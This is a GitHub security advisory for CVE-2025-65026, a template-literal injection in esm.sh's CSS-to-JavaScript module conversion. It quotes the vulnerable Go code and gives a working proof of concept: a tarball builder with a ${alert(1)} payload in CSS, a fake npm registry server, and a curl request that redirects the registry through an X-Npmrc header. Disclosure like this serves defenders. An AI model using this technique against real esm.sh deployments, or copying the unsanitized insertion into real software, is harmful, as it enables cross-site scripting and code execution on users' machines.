ghsa-hcpf-qv9m-vfgp
Vulnerability from github
Published
2025-11-19 20:31
Modified
2025-11-27 08:30
Summary
esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript
Details

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

```go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) }

buf := bytes.NewBufferString("/* esm.sh - css module */\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\n")

if bytes.ContainsRune(css, '`') {
    // If backtick exists: JSON encode (SAFE)
    buf.WriteString("stylesheet.replaceSync(`")
    buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
    buf.WriteString(");\n")
} else {
    // If no backtick: Direct insertion (VULNERABLE!)
    buf.WriteString("stylesheet.replaceSync(`")
    buf.Write(css)  // ← CSS inserted into template literal without sanitization!
    buf.WriteString("`);\n")
}

buf.WriteString("export default stylesheet;\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf

} `` When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping${...}expressions. Template literals in JavaScript evaluate expressions within${...}`, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar)

```python import tarfile import io import json from datetime import datetime

Malicious CSS with template literal injection

evil_css = b""" body { background-color: #ffffff; color: #333333; }

.container { max-width: 1200px; margin: 0 auto; }

/ js payload / ${alert(1)}

/ More CSS to appear legitimate / .footer { margin-top: 20px; padding: 10px; } """

files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(),

# Malicious CSS file
"package/poc.css": evil_css,

}

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz") ```

Step 2. Run Fake Registry Server

```python

fake-npm-registry.py

from flask import Flask, jsonify, send_file

app = Flask(name)

MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })

@app.route('//-/') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if name == 'main': app.run(host='0.0.0.0', port=9999) ```

bash python3 fake-npm-registry.py

Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1))

```html

CSS Injection Victim Page // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles);

``` image

in esm.sh Playground

image

Impact

Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20251118065157-87d2f6497574"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-19T20:31:55Z",
    "nvd_published_at": "2025-11-19T18:15:50Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, \u0027`\u0027) {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // \u2190 CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027 };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cscript type=\"module\"\u003e\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log(\u0027Styles loaded:\u0027, styles);\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
  "id": "GHSA-hcpf-qv9m-vfgp",
  "modified": "2025-11-27T08:30:39Z",
  "published": "2025-11-19T20:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
}


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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
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  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


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